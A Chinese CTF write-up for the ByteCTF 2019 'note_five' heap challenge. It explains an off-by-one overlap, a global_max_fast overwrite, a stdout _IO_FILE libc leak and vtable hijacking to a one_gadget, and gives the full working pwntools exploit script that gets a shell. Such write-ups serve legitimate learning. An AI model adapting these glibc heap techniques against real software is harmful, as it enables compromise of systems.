ByteCTF 2019 note_five

这道题目我本来想作为,IO_FILE leak的一个例题来写。 结果…好家伙,这么难,花了将近半天的时间去调试这道题目,终于成功解决了,做了这道题目的收获绝对值这个时间! 对IO_FILE攻击方式也加深了理解,趁着自己还记得,来写一下wp。

漏洞有:

  1. off by one

特性有:

  1. 无法申请fastbin大小(if ( size > 0x8F && size <= 0x400 ))
  2. 无show函数
  3. 保护全开
  4. 最多使用五个堆块地址

利用方法: 修改global_max_fast

  1. 申请5个块(堆块01234),最后一个块作为隔开top chunk
  2. 由于有PIE所以不能直接攻击ptr_pool,所以利用unlink方法对另外四个块进行overlapping,具体实现可以看unlink那篇里面。
  3. 申请1个块(长度为堆块0 + 堆块1之和),再申请1个块(长度为堆块2)这个块的地址和之前堆块2的地址一样,申请两个是为了等下再unsorted bin中和fastbin中分别插入一个。
  4. 释放堆块2,并恢复相关结构,否则报错。
  5. 释放堆块1,在堆块中构造出main_arena + 88。
  6. 利用通过c中长度跨越0和1的堆块修改1的size,修改size为接下来fastbin attack UAF做准备,同时修改BK为global_max_fast
  7. 这时候申请一次,会把Chunk Extend的堆块1拿出来,同时global_max_fast变成大数。

_IO_FILE leak 利用和堆块2地址相同的位置,再次free使得那个位置进入fastbin。我这里搞错了,我本来以为fastbinY[13],也就是对应0xF1大小那一段,是没有值的,结果发现那里实际上是有值的,而且对应的内容正好是前面释放堆块2导致的,这一部分理解的不是很深刻,还需要研究一番。 这样的话就在fastbin上有了libc地址,部分写入到IO_FILE,然后leak,这些都是基本操作了。

_IO_FILE attack 这个我可能讲不清楚,还是看一下参考链接吧!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
from LibcSearcher import *


def choice(idx):
    if ">> " in r.recvuntil(">>", timeout=0.5):
        raise EOFError
    r.sendline(str(idx))


def add_heap(idx, size):
    # size > 0x8F && size <= 0x400
    choice(1)
    r.sendlineafter("idx: ", str(idx))
    r.sendlineafter("size: ", str(size))


def edit_heap(idx, content):
    choice(2)
    r.sendlineafter("idx: ", str(idx))
    r.sendlineafter("content: ", str(content))


def delete_heap(idx):
    choice(3)
    r.sendlineafter("idx: ", str(idx))


def pwn():
    free_list_addr = 0x27e8
    stdout_addr = 0x1620
    # gdb.attach(r)
    add_heap(0, 0x98)  # A1
    add_heap(1, 0x98)  # A1

    add_heap(2, 0xE8)  # F1
    add_heap(3, 0x98)  # A1
    add_heap(4, 0x98)

    #unlink[0,3]
    delete_heap(0)
    edit_heap(2, 'a' * 0xE0 + p64(0xA0 + 0xA0 + 0xF0) + '\xA0')
    delete_heap(3)

    #overlapping
    add_heap(0, (0xA0 + 0xA0 - 8))  # 0
    add_heap(4, 0xE8)  # 4 == 2
    add_heap(3, 0x98)  # 3

    #change mark
    edit_heap(0, 'a' * 0x98 + p64(0xA1))
    delete_heap(1)

    #change size & change BK
    edit_heap(0, 'a' * 0x98 + p64(0xA0 + 0xF0 + 1) + p64(0) + p16(free_list_addr))
    add_heap(1, (0xA0 + 0xF0 - 0x8))

    #fastbin attack
    #add to fastbins FD = main_arena.fastbinsY[13]
    delete_heap(4)
    #partial overwrite
    edit_heap(1, 'a' * 0x98 + p64(0xF1) + p16(stdout_addr - 0x51))
    add_heap(4, 0xE8)
    add_heap(4, 0xE8) #stdout - 0x51

    #IO_FILE leak
    edit_heap(4, 'a' * 0x41 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))
    stdout_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - 131
    log.success("stdout_addr: " + hex(stdout_addr))
    libc = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
    libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
    log.success("libc_base: " + hex(libc_base))
    system_addr = libc_base + libc.dump('system')
    log.success("system_addr: " + hex(system_addr))

    #vtable
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    one_gadget = libc_base + one[3]
    log.success("one_gadget: " + hex(one_gadget))

    payload = 'a' * 0x1
    payload += p64(stdout_addr - 0x28 - 0x8 * 3)  # _wide_data
    payload += p64(0) + p64(0) + p64(0)
    payload += p64(1) + p64(one_gadget) + p64(0) + p64(stdout_addr - 0x18 - 0x18)  # _mode + _unused2 + stderr_vtable
    edit_heap(4, payload)
    gdb.attach(r)
    #_IO_flush_all_lockp -> _IO_file_overflow
    add_heap(0, 0xF8) #malloc(): memory corruption (fast)
    r.interactive()


while True:
    try:
        r = process('./note_five')
        pwn()
    except EOFError:
        pass

参考链接: 1.https://blog.csdn.net/weixin_43350880/article/details/101106318 2.https://xz.aliyun.com/t/6468

0%